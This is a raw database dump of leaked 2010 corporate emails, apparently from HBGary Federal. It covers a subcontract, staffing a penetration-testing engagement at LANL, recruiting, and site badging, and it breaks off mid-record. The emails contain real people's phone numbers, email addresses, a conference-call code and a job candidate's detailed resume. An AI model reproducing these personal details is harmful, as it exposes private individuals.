\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n /* Style Definitions */\r\n\r\n table.MsoNormalTable\r\n\r\n	{mso-style-name:\"Table Normal\";\r\n\r\n	mso-tstyle-rowband-size:0;\r\n\r\n	mso-tstyle-colband-size:0;\r\n\r\n	mso-style-noshow:yes;\r\n\r\n	mso-style-priority:99;\r\n\r\n	mso-style-qformat:yes;\r\n\r\n	mso-style-parent:\"\";\r\n\r\n	mso-padding-alt:0in 5.4pt 0in 5.4pt;\r\n\r\n	mso-para-margin:0in;\r\n\r\n	mso-para-margin-bottom:.0001pt;\r\n\r\n	mso-pagination:widow-orphan;\r\n\r\n	font-size:10.0pt;\r\n\r\n	font-family:\"Times New Roman\",\"serif\";}\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n  \r\n\r\n \r\nRay Owen|ray.owen@farallon-research.com|tel\r\n202.596.1829|cell 650.464.5570\r\n\r\n\r\n\r\nOn 8/19/2010 7:37 AM, Aaron Barr wrote:\r\nHi Ray,\r\n  \r\n  \r\n  Any further information on this effort?\r\n  \r\n  \r\n  Aaron\r\n  \r\n  \r\n  On Aug 7, 2010, at 9:51 PM, Ray Owen wrote:\r\n  \r\n  \r\n    Aaron,\r\n    \r\nWe will send out a formal request tomorrow morning, with instructions.\r\n    \r\nWe\'re not completely sure on the start date, because we have to get the\r\nfunding flow going first. Maybe as early as 1 Sept, but probably late\r\nthat month. We will subcontract as soon as we have a valid Farallon\r\ncontract, which should be later this month.\r\n    \r\nThanks,\r\nRay\r\n    \r\n    \r\n    \r\n\r\n\r\n \r\n\r\n  Ray Owen\r\n\r\n  Normal\r\n\r\n  Ray Owen\r\n\r\n  2\r\n\r\n  1\r\n\r\n  2010-02-24T23:00:00Z\r\n\r\n  2010-02-24T23:00:00Z\r\n\r\n  1\r\n\r\n  11\r\n\r\n  64\r\n\r\n  1\r\n\r\n  1\r\n\r\n  74\r\n\r\n  12.00\r\n\r\n \r\n\r\n\r\n    \r\n    \r\n\r\n\r\n \r\n\r\n  Clean\r\n\r\n  Clean\r\n\r\n  false\r\n\r\n  \r\n\r\n  \r\n\r\n  false\r\n\r\n  false\r\n\r\n  false\r\n\r\n  \r\n\r\n  EN-US\r\n\r\n  X-NONE\r\n\r\n  X-NONE\r\n\r\n  \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n  \r\n\r\n  MicrosoftInternetExplorer4\r\n\r\n  \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n   \r\n\r\n  \r\n\r\n\r\n\r\n \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n\r\n \r\n\r\n\r\n    \r\n\r\n    \r\n\r\n\r\n\r\n /* Style Definitions */\r\n\r\n table.MsoNormalTable\r\n\r\n	{mso-style-name:\"Table Normal\";\r\n\r\n	mso-tstyle-rowband-size:0;\r\n\r\n	mso-tstyle-colband-size:0;\r\n\r\n	mso-style-noshow:yes;\r\n\r\n	mso-style-priority:99;\r\n\r\n	mso-style-qformat:yes;\r\n\r\n	mso-style-parent:\"\";\r\n\r\n	mso-padding-alt:0in 5.4pt 0in 5.4pt;\r\n\r\n	mso-para-margin:0in;\r\n\r\n	mso-para-margin-bottom:.0001pt;\r\n\r\n	mso-pagination:widow-orphan;\r\n\r\n	font-size:10.0pt;\r\n\r\n	font-family:\"Times New Roman\",\"serif\";}\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n  \r\n\r\n \r\n    Ray Owen|ray.owen@farallon-research.com|tel\r\n202.596.1829|cell 650.464.5570\r\n    \r\n    \r\n    \r\nOn 8/7/2010 10:02 AM, Aaron Barr wrote:\r\n    \r\n      Nate,\r\n\r\nBased on note below we might not need a call.  We are excited about the work and commit to the work and scope as outlined.  Just a few questions.\r\n\r\n1. How would you like us to formally commit.\r\n2. What is the anticipated start date and when could we expect a subcontract agreement.\r\n\r\nAaron\r\n\r\n\r\nOn Aug 7, 2010, at 12:46 PM, Nathan Atherley wrote:\r\n\r\n  \r\n      \r\n        Yes, can we do it later?  I am going to be gone until about 3-4 PST.  You can give me a call, though I doubt I will tell you much more than I am going to now.\r\n\r\nWe would just like you to commit to the work scope for HBGary\'s piece of CID-1.  We need to commit Farallon for CID-1 soon and would like to make sure that we are all on the same page onto what is required.\r\n\r\nRay is diving today, but probably can be reached later today at 650-464-5570.  My number is 719-321-6135\r\n\r\nNathan\r\n\r\n\r\n\r\nOn 8/7/2010 9:25 AM, aaron@hbgary.com wrote:\r\n    \r\n        \r\n          Nate,\r\n\r\nCan we set up a call today to discuss exactly what we need to produce by monday.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n      \r\n        \r\n      \r\n      Aaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n  \r\n    \r\n    \r\n  \r\n  \r\n  \r\n  \r\n\r\n\r\n\r\n',11826,'aaron_hbgary_com/11826.html'),(10616,'2010-08-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008214.M199954P14101Q5471.eml','\"Penny Leavy\" <penny@hbgary.com>','cal u back','telecon',2936,'aaron_hbgary_com/2936.html'),(10617,'2010-08-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008214.M458105P14101Q5472.eml','shane@shook.net','got a set to talk','I am looking for a Oracle web app pen testing rock star...know of one..\r\n\r\nI need him for a gig @ LANL in New Mexico next week. :)\r\n\r\nAaron',8274,'aaron_hbgary_com/8274.html'),(10618,'2010-08-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008214.M665488P14101Q5473.eml','\"John Edwards\" <John.Edwards@agilex.com>','Re: Meeting - Finally','Hey John,\r\n\r\nDo you have any time tomorrow?\r\n\r\nAaron\r\n\r\n\r\nOn Aug 12, 2010, at 4:53 PM, John Edwards wrote:\r\n\r\n> I\'m good most days next week.\r\n> Let me know,\r\n> John\r\n> \r\n> On Aug 12, 2010, at 4:26 PM, Aaron Barr wrote:\r\n> \r\n>> Hey John,\r\n>> \r\n>> When would you like to get together?\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> On Aug 9, 2010, at 3:45 PM, John Edwards wrote:\r\n>> \r\n>>> Can you shoot me your social?  I need to get your clearances passed to me.  Our security officer can vet and validate.\r\n>>> \r\n>>> On Aug 9, 2010, at 3:22 PM, Aaron Barr wrote:\r\n>>> \r\n>>>> Other folks were cleared just need reinstated.\r\n>>>> \r\n>>>> Sent from my iPhone\r\n>>>> \r\n>>>> On Aug 9, 2010, at 3:21 PM, John Edwards  wrote:\r\n>>>> \r\n>>>>> One quick question:  Any one from your side cleared yet?\r\n>>>>> \r\n>>>>> On Aug 9, 2010, at 3:08 PM, Aaron Barr wrote:\r\n>>>>> \r\n>>>>>> Rgr.  I am open working on a proposal, so flexible.\r\n>>>>>> \r\n>>>>>> Aaron\r\n>>>>>> \r\n>>>>>> Sent from my iPhone\r\n>>>>>> \r\n>>>>>> On Aug 9, 2010, at 3:01 PM, John Edwards  wrote:\r\n>>>>>> \r\n>>>>>>> Aaron,\r\n>>>>>>> Lets\' set something up for next week (16th).  There are a couple of things I need to talk to you about.  One has a short time-fuse.\r\n>>>>>>> John\r\n>>>>>>> \r\n>>>>>>> On Jul 21, 2010, at 12:43 AM, Aaron Barr wrote:\r\n>>>>>>> \r\n>>>>>>>> John,\r\n>>>>>>>> \r\n>>>>>>>> How about first week of August?  I am on family vacation starting\r\n>>>>>>>> Thursday then blackhat.\r\n>>>>>>>> \r\n>>>>>>>> Aaron\r\n>>>>>>>> \r\n>>>>>>>> Sent from my iPad\r\n>>>>>>>> \r\n>>>>>>>> On Jul 20, 2010, at 1:44 PM, John Edwards  wrote:\r\n>>>>>>>> \r\n>>>>>>>>> Aaron,\r\n>>>>>>>>> I\'m good later this week or next -- let me know what works for you\r\n>>>>>>>>> \r\n>>>>>>>>> On Jul 15, 2010, at 12:55 AM, Aaron Barr wrote:\r\n>>>>>>>>> \r\n>>>>>>>>>> Hi John,\r\n>>>>>>>>>> \r\n>>>>>>>>>> I have been meeting with some folks lately and your name keeps coming up, so probably a from my side definitely worth getting together and chatting a bit.  Most of it lately has been around your Apple capabilities and a few developers you have.  Probably some larger things that would be worth discussing.\r\n>>>>>>>>>> \r\n>>>>>>>>>> Let me know when you have some time.\r\n>>>>>>>>>> \r\n>>>>>>>>>> Aaron Barr\r\n>>>>>>>>>> CEO\r\n>>>>>>>>>> HBGary Federal Inc.\r\n>>>>>>>>>> \r\n>>>>>>>>> \r\n>>>>>>> \r\n>>>>> \r\n>>> \r\n>> \r\n> \r\n\r\n',12725,'aaron_hbgary_com/12725.html'),(10619,'2010-08-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008214.M899173P14101Q5474.eml','\"Penny Leavy\" <penny@hbgary.com>','LANL','I have a call out to Shane.  We are getting on the phone with AGILEX in a few to discuss.  One option is to just bow out if we can\'t find someone.  We can find the excuses, better that than go into a hostile environment.\r\n\r\nTed feels crappy that we are in this circumstance but in the end this type of stuff just happens some times.  Under normal circumstances Ted and Mark would have done a very satisfactory job for Agilex and LANL in this engagement, but given the AD pilot, a pissed off and seemingly very capable red team we need to step it up a notch\r\n\r\nSee you @ 1:30.\r\n\r\nFor TSA, written into the proposal is AD, TMC, and Responder Pro.\r\n\r\nAaron\r\n\r\n',5413,'aaron_hbgary_com/5413.html'),(10620,'2010-08-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008215.M198996P14101Q5475.eml','\"Eric Eifert\" <eric.eifert@mantech.com>','Resume 2','Hey Eric,When you get a chance to review, let me know what you think. &nbsp;Of the bundle I got the two I sent you were the only ones that looked promising.Aaron$130K Minimum desiredActive ClearancesOBJECTIVES&nbsp;Versatile and team player, 7 is seeking a position to apply her technical, analytical, managerial, and leadership skills. 7 is acquainted with DoD information assurance program, ISO 17799/27001 and SABSA Security Framework. Good understanding with regards to the applications of the special publications of the National Institute for Standard and Technology (NIST). 7 has written several essays about Information Assurance (IA) (refer to publications in the resume below). 7 participated in missions supporting computer network defense response action (CND/RA). She conducted&nbsp;vulnerability&nbsp;assessments, analyzed security threats and techniques, tactics, and procedures (TTP) of cyber threats and cyber crimes. Her overall experience encompasses the entire spectrum of technical IA and security management.&nbsp;Accept 25-75% travel CONUS and OCONUS with negotiable compensation.PROFESSIONAL RELEVANT EXPERIENCE&nbsp;PACIFIC NORTHWEST NATIONAL LABORATORY (PNNL) headquarter in Richland , WACurrent&nbsp;Engineer Scientist IVNetwork forensics analysis and data set analysis&nbsp;Assumption-based queries and identification to isolate&nbsp;and confirm abnormal traffic&nbsp;researches in cyber security related topics&nbsp;SECURICON - Arlington, VA2008Senior Security Intrusion Analyst Digital Investigation - Information AssuranceContract with JTF-GNO - DISASenior Security Intrusion Analyst Cyber intelligence and digital security investigation&nbsp;Network security experience on Windows and UNIX system (NetFlow)Collect and investigate the current cyber-threats and related attacks vectors against the global information grid (GIG) and, perform networkvulnerability&nbsp;analysis, security monitoringParticipate in the joint Intel fusion coordination between the different downstream and upstream organizations: JTF-GNO at DISA, NSA, FBI, US-CERT, NOSC, USMC, AFNOSC, ACERT, and other collateral major command (CENTCOM, PACOM, TRANSCOM, and etc) and other regional government organizationsSRA International Arlington, VA2004 - 2008&nbsp;Security Network Engineer &amp; Information Assurance AnalystSecurity Analyst &amp; Security Network auditingDigital forensics investigation (DFI)Security analyst and auditor Guidance and Compliance of the internal information system infrastructureDefined audit requirements and scope, investigate and document findings in an audit reportRecommended security solution to protect the internal information system infrastructureParticipated in writing and reviewing System Security Plan (SSP) and internal security policiesINSCOM - 1st Information Operation Command - Fort Belvoir, VA - Jan. 2005 - Jul. 2007Information Security OfficerArmy Computer Emergency Response (ACERT)Support Mission - Computer Network Operations Defense (CNOD)Implemented the tactics, techniques, and procedures (TTPs) supporting Computer Network Defense (CND) Response Action (CND-RA)Worked closely with various Army and government agencies (US Army Criminal Investigation Command (CID), US Army Computer Emergency Response Teams (ACERT), various Regional Computer Emergency Response Teams (RCERTs), Army research&nbsp;Labs, Joint Task Force/Global Network Operations (JTF-GNO) and National Security Agency (NSA)Functional assignment as security officer responsible for enforcing correct measure of protection within classified environment&nbsp;Leadership position Ft Gordon: supervised and managed 18 soldiers within the context of Warrant Officer Basic Course (WOBC) and leadership development.GENERAL DYNAMICS (sub-contract) - Arlington, VA Pentagon Renovation Project Oct. 2003 - May 2004.Senior Quality Assurance Automated System Network Infrastructure.Quality Management Assurance ISO QMS 9000 complianceVerified compliance between pre-deployment configurations devices with logical layer requirement. Provided on-site Pentagon installation QA support and inspectionDeveloped quality records and reports quality matrices.US ARMY NATIONAL GUARD Colorado Springs, CO193rd Army Space Support Battalion Nov. 2002 to Oct. 2004&nbsp;SATCOM Technician193rd Space Command Support BN, Peterson AF Base, Colorado&nbsp;Space Electronic warfare Detachment (SEWD) SpaceCentral Mission Area warfare in support of DoD duringMission Iraqi Freedom.&nbsp;RF and SATCOM communications in support of Operations Iraqi Freedom (OIF) in theater (oversea)LEVEL(3) COMMUNICATIONS - Broomfield, CO&nbsp;Feb 2001 July 2002&nbsp;Network EngineerTier III WAN Network Operations Engineer responsible for the management, monitoring, and maintenance of a multi-vendor global IP network in USA, Asia, and EUInitiated the need for configuration management for Network Operating Center (NOC). Developed and managed change control and procedures for configuration changes (configuration management)FIRSTWORLD COMMUNICATIONS - Englewood, CO&nbsp;Fall 1999 Feb 2001Network engineer and team leader in the NOCCisco CCNA Academy Instructor at Red Rock CommunityCollege (RRCC)NATIONAL RENEWABLE ENERGY LAB. (NREL) DoE Golden, CO (1998 1999)Laboratory TechnicianFundamental researches&nbsp;in Organic ChemistryMILITARYUS ARMY RESERVE Service Member (SM) Fort Belvoir, VA1st Information Operations Command Support Battalion&nbsp;Warrant OfficerUS NATIONAL GUARD SM - Peterson AF Base, CO193rd Army Space Support Battalion&nbsp;US NATIONAL GUARD SM - Buckley AF Base, CODetachment 5 Army Medical Support BattalionCLEARANCES Need to KnowFORMAL EDUCATION&nbsp;NORWICH UNIVERSITYMasters of Science in Information Assurance (MSIA), 2007 Program accredited by NSA&nbsp;GPA = AJOHNS HOPKINS UNIVERSITYCompleted coursework: JAVA Programming &amp; Biostatistics Analysis, 2004SORBONNE UNIVERSITYPost-master and Masters of Art (MA) degree in Philosophy, 1993Received Very High HonorsTECHNICAL DEVELOPMENT COURSES AND TRAININGS Cisco Certified Network Associate (CCNA), 2000Cisco Certified Network Professional (CCNP), 2002&nbsp;Inter-Services Space Fundamental, U.S. Air Force, 2002Certified Information Systems Security Officer (ISSO), 2003&nbsp;UNIX System Architecture, 2003Certified&nbsp;ethical&nbsp;Hacker (CEH), 2005E-Council Certified Security Analyst (ECSA), 2006RedHat Training Administration and Network Security, 2007CompTIA Security +, 2008GIAC System Network Auditor (GSNA), 2008PCI/DSS 1.2 Becoming and Staying Compliant (training 2008)SANS GIAC Certified ISO-17799 Specialist (G7799), 2009Joint Network Attack Course (JNAC), 2009SANS GIAC Security Essentials Certification (GSEC), 2009SANS GIAC Certified Forensic Analyst (GCFA) , 2010Memberships:InfraGard Member - Washington Field ChapterISACA (National Capital Area)&nbsp;SANS MemberSSI/PAFI CertifiedToastmaster memberSKILLS SET&nbsp;NETWORK and IT SECURITY:Digital data analysis: file system analysis (Fat, NTFS, UFS, ext2/3). Toolkit: SleuthKit (mactime, mac-robber, etc), Traffic flaw (SiLK), Wireshark, Autopsy, Helix, password cracking, recovery of deleted data, timeline analysisvulnerability&nbsp;testing: TCP/IP protocol and network services (port), NMAP, Ethereal, and&nbsp;hacking&nbsp;and auditing tools, and etc.Wireless security countermeasures WiFi, GSM, WiMaxWindows Server 2003: deployment of Active Directory (AD), Microsoft Exchange, network services, Server Resources Management, SQL serverNetworking: Cisco, Juniper, Extreme Networks, Vyatta Layer 2 &amp; 3 protocols (network basics networking): Ethernet, Gigabit Ethernet, SONET, ATM, VLANS RIP, OSPF, BGP, MPLS, LDP, RSVP, HSRP)LINGUISTICS:Bilingual: fluent French/EnglishTutor at Michigan State UniversityDefense Linguistic Proficiency Test (DLPT) 3/3&nbsp;French Assistant High School, MichiganCyber-Defense: US Army Criminal Investigation Command (CID) with interpretation and translation of legal documents in relation with a cyber-crime investigation (French legal jurisdiction and International Criminal Police Organization (Interpol))Consulting for DoJ (2007): translation in the context of international litigation (affidavit for extradition) between Europe (France) and United StatesMISCELLEANEOUS:UNIX/Linux flavored (Fedora, RedHat, WINDOWS (NT, 2003 Server, XP)), MAC OSX, VMware Workstation, Core Impact, i2-Analyst Notebook, Web design (HTML, Dreamweaver, Studio MX), VMware Workstation, VISIO, AutoCADPUBLICATIONS&nbsp;INFOSEC Management or Business Impact Analysis, not just a Good Idea but a Necessity in IA Today!, October 2007Digital Forensics: Concepts and Applications, May 2007Defense Continuity Plan (DCP) in the Context of a PandemicReadiness (Phases I and II), February 2007 (pandemicCOOP) in compliance and requirement (Homeland SecurityAct of 2002 (A Bill))An Organic and Holistic Approach to Information Assurance, November 2006Paradox of Implication, October 1992&nbsp;Philosophical and Logical Foundations of Artificial Intelligence, June 1991 (Thesis Sorbonne-Paris IV)',3308,'aaron_hbgary_com/3308.html'),(10621,'2010-08-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008215.M448482P14101Q5476.eml','\"Ed Wallach\" <ed@wallachsearch.com>','Re: 7','This one interests me.Let me take a look at the agreement you sent and get it back to you and we can go further.AaronOn Aug 18, 2010, at 3:26 PM, Ed Wallach wrote:Interesting background...don\'t think she has a poly...waiting for more info from her including an updated resume, tickets etc...She owns a home in VAShe\'s available to interview immediately and can begin a new position in October.&nbsp;&nbsp;7$130K Minimum desiredActive ClearancesOBJECTIVES&nbsp;Versatile and team player, 7 is seeking a position to apply her technical, analytical, managerial, and leadership skills. 7 is acquainted with DoD information assurance program, ISO 17799/27001 and SABSA Security Framework. Good understanding with regards to the applications of the special publications of the National Institute for Standard and Technology (NIST). 7 has written several essays about Information Assurance (IA) (refer to publications in the resume below). 7 participated in missions supporting computer network defense response action (CND/RA). She conducted&nbsp;vulnerability&nbsp;assessments, analyzed security threats and techniques, tactics, and procedures (TTP) of cyber threats and cyber crimes. Her overall experience encompasses the entire spectrum of technical IA and security management.&nbsp;Accept 25-75% travel CONUS and OCONUS with negotiable compensation.PROFESSIONAL RELEVANT EXPERIENCE PACIFIC NORTHWEST NATIONAL LABORATORY (PNNL) headquarter in Richland , WACurrent&nbsp;Engineer Scientist IVNetwork forensics analysis and data set analysis&nbsp;Assumption-based queries and identification to isolate&nbsp;and confirm abnormal traffic&nbsp;researches in cyber security related topics&nbsp;SECURICON - Arlington, VA2008Senior Security Intrusion Analyst Digital Investigation - Information AssuranceContract with JTF-GNO - DISASenior Security Intrusion Analyst Cyber intelligence and digital security investigation&nbsp;Network security experience on Windows and UNIX system (NetFlow)Collect and investigate the current cyber-threats and related attacks vectors against the global information grid (GIG) and, perform networkvulnerability&nbsp;analysis, security monitoringParticipate in the joint Intel fusion coordination between the different downstream and upstream organizations: JTF-GNO at DISA, NSA, FBI, US-CERT, NOSC, USMC, AFNOSC, ACERT, and other collateral major command (CENTCOM, PACOM, TRANSCOM, and etc) and other regional government organizationsSRA International Arlington, VA2004 - 2008&nbsp;Security Network Engineer &amp; Information Assurance AnalystSecurity Analyst &amp; Security Network auditingDigital forensics investigation (DFI)Security analyst and auditor Guidance and Compliance of the internal information system infrastructureDefined audit requirements and scope, investigate and document findings in an audit reportRecommended security solution to protect the internal information system infrastructureParticipated in writing and reviewing System Security Plan (SSP) and internal security policiesINSCOM - 1st Information Operation Command - Fort Belvoir, VA - Jan. 2005 - Jul. 2007Information Security OfficerArmy Computer Emergency Response (ACERT)Support Mission - Computer Network Operations Defense (CNOD)Implemented the tactics, techniques, and procedures (TTPs) supporting Computer Network Defense (CND) Response Action (CND-RA)Worked closely with various Army and government agencies (US Army Criminal Investigation Command (CID), US Army Computer Emergency Response Teams (ACERT), various Regional Computer Emergency Response Teams (RCERTs), Army research&nbsp;Labs, Joint Task Force/Global Network Operations (JTF-GNO) and National Security Agency (NSA)Functional assignment as security officer responsible for enforcing correct measure of protection within classified environment&nbsp;Leadership position Ft Gordon: supervised and managed 18 soldiers within the context of Warrant Officer Basic Course (WOBC) and leadership development.GENERAL DYNAMICS (sub-contract) - Arlington, VA Pentagon Renovation Project Oct. 2003 - May 2004.Senior Quality Assurance Automated System Network Infrastructure.Quality Management Assurance ISO QMS 9000 complianceVerified compliance between pre-deployment configurations devices with logical layer requirement. Provided on-site Pentagon installation QA support and inspectionDeveloped quality records and reports quality matrices.US ARMY NATIONAL GUARD Colorado Springs, CO193rd Army Space Support Battalion Nov. 2002 to Oct. 2004&nbsp;SATCOM Technician193rd Space Command Support BN, Peterson AF Base, Colorado&nbsp;Space Electronic warfare Detachment (SEWD) SpaceCentral Mission Area warfare in support of DoD duringMission Iraqi Freedom.&nbsp;RF and SATCOM communications in support of Operations Iraqi Freedom (OIF) in theater (oversea)LEVEL(3) COMMUNICATIONS - Broomfield, CO&nbsp;Feb 2001 July 2002&nbsp;Network EngineerTier III WAN Network Operations Engineer responsible for the management, monitoring, and maintenance of a multi-vendor global IP network in USA, Asia, and EUInitiated the need for configuration management for Network Operating Center (NOC). Developed and managed change control and procedures for configuration changes (configuration management)FIRSTWORLD COMMUNICATIONS - Englewood, CO&nbsp;Fall 1999 Feb 2001Network engineer and team leader in the NOCCisco CCNA Academy Instructor at Red Rock CommunityCollege (RRCC)NATIONAL RENEWABLE ENERGY LAB. (NREL) DoE Golden, CO (1998 1999)Laboratory TechnicianFundamental researches&nbsp;in Organic ChemistryMILITARYUS ARMY RESERVE Service Member (SM) Fort Belvoir, VA1st Information Operations Command Support Battalion&nbsp;Warrant OfficerUS NATIONAL GUARD SM - Peterson AF Base, CO193rd Army Space Support Battalion&nbsp;US NATIONAL GUARD SM - Buckley AF Base, CODetachment 5 Army Medical Support BattalionCLEARANCES Need to KnowFORMAL EDUCATION&nbsp;NORWICH UNIVERSITYMasters of Science in Information Assurance (MSIA), 2007 Program accredited by NSA&nbsp;GPA = AJOHNS HOPKINS UNIVERSITYCompleted coursework: JAVA Programming &amp; Biostatistics Analysis, 2004SORBONNE UNIVERSITYPost-master and Masters of Art (MA) degree in Philosophy, 1993Received Very High HonorsTECHNICAL DEVELOPMENT COURSES AND TRAININGS Cisco Certified Network Associate (CCNA), 2000Cisco Certified Network Professional (CCNP), 2002&nbsp;Inter-Services Space Fundamental, U.S. Air Force, 2002Certified Information Systems Security Officer (ISSO), 2003&nbsp;UNIX System Architecture, 2003Certified&nbsp;ethical&nbsp;Hacker (CEH), 2005E-Council Certified Security Analyst (ECSA), 2006RedHat Training Administration and Network Security, 2007CompTIA Security +, 2008GIAC System Network Auditor (GSNA), 2008PCI/DSS 1.2 Becoming and Staying Compliant (training 2008)SANS GIAC Certified ISO-17799 Specialist (G7799), 2009Joint Network Attack Course (JNAC), 2009SANS GIAC Security Essentials Certification (GSEC), 2009SANS GIAC Certified Forensic Analyst (GCFA) , 2010Memberships:InfraGard Member - Washington Field ChapterISACA (National Capital Area)&nbsp;SANS MemberSSI/PAFI CertifiedToastmaster memberSKILLS SET&nbsp;NETWORK and IT SECURITY:Digital data analysis: file system analysis (Fat, NTFS, UFS, ext2/3). Toolkit: SleuthKit (mactime, mac-robber, etc), Traffic flaw (SiLK), Wireshark, Autopsy, Helix, password cracking, recovery of deleted data, timeline analysisvulnerability&nbsp;testing: TCP/IP protocol and network services (port), NMAP, Ethereal, and&nbsp;hacking&nbsp;and auditing tools, and etc.Wireless security countermeasures WiFi, GSM, WiMaxWindows Server 2003: deployment of Active Directory (AD), Microsoft Exchange, network services, Server Resources Management, SQL serverNetworking: Cisco, Juniper, Extreme Networks, Vyatta Layer 2 &amp; 3 protocols (network basics networking): Ethernet, Gigabit Ethernet, SONET, ATM, VLANS RIP, OSPF, BGP, MPLS, LDP, RSVP, HSRP)LINGUISTICS:Bilingual: fluent French/EnglishTutor at Michigan State UniversityDefense Linguistic Proficiency Test (DLPT) 3/3&nbsp;French Assistant High School, MichiganCyber-Defense: US Army Criminal Investigation Command (CID) with interpretation and translation of legal documents in relation with a cyber-crime investigation (French legal jurisdiction and International Criminal Police Organization (Interpol))Consulting for DoJ (2007): translation in the context of international litigation (affidavit for extradition) between Europe (France) and United StatesMISCELLEANEOUS:UNIX/Linux flavored (Fedora, RedHat, WINDOWS (NT, 2003 Server, XP)), MAC OSX, VMware Workstation, Core Impact, i2-Analyst Notebook, Web design (HTML, Dreamweaver, Studio MX), VMware Workstation, VISIO, AutoCADPUBLICATIONS&nbsp;INFOSEC Management or Business Impact Analysis, not just a Good Idea but a Necessity in IA Today!, October 2007Digital Forensics: Concepts and Applications, May 2007Defense Continuity Plan (DCP) in the Context of a PandemicReadiness (Phases I and II), February 2007 (pandemicCOOP) in compliance and requirement (Homeland SecurityAct of 2002 (A Bill))An Organic and Holistic Approach to Information Assurance, November 2006Paradox of Implication, October 1992&nbsp;Philosophical and Logical Foundations of Artificial Intelligence, June 1991 (Thesis Sorbonne-Paris IV)\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comRecruiting Intelligence &lt;app_full_proxy.php.gif&gt;&lt;NPA_color.jpg&gt;We can help with your national or global staffing needs through our affiliation with NPA.\r\n\r\n',4702,'aaron_hbgary_com/4702.html'),(10622,'2010-08-19','\"Taylor, David A\" <dataylor@lanl.gov>','/aaron@hbgary.com/new/1297008215.M672601P14101Q5477.eml','\"Jerry McClure\" <Jerry.McClure@agilex.com>,mark@hbgary.com,aaron@hbgary.com,\"Martinez, Timmy L\" <tlmtz@lanl.gov>','RE: LANL / HbGary / Agilex telecom','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe HBGary guys will need to forms of ID to be badged.\r\nA Drivers Lic. And Passport will work. Maybe a Birth cert. would also do.\r\n&nbsp;\r\ndat\r\n&nbsp;\r\n-----Original Appointment-----\r\n\r\nFrom: Jerry McClure [mailto:Jerry.McClure@agilex.com]\r\n\r\n\r\nSent: Tuesday, August 17, 2010 11:45 AM\r\n\r\nTo: Taylor, David A; mark@hbgary.com; aaron@hbgary.com; Martinez, Timmy L\r\n\r\nSubject: LANL / HbGary / Agilex telecom\r\n\r\nWhen: Thursday, August 19, 2010 1:00 PM-2:00 PM (GMT-07:00) Mountain Time (US &amp; Canada).\r\n\r\nWhere: Telecom (763) 488-9407 conference code 7038893785\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\nThis telecom is for LANL and HbGary to have final discussions on whats needed in preparation for HbGary coming out on 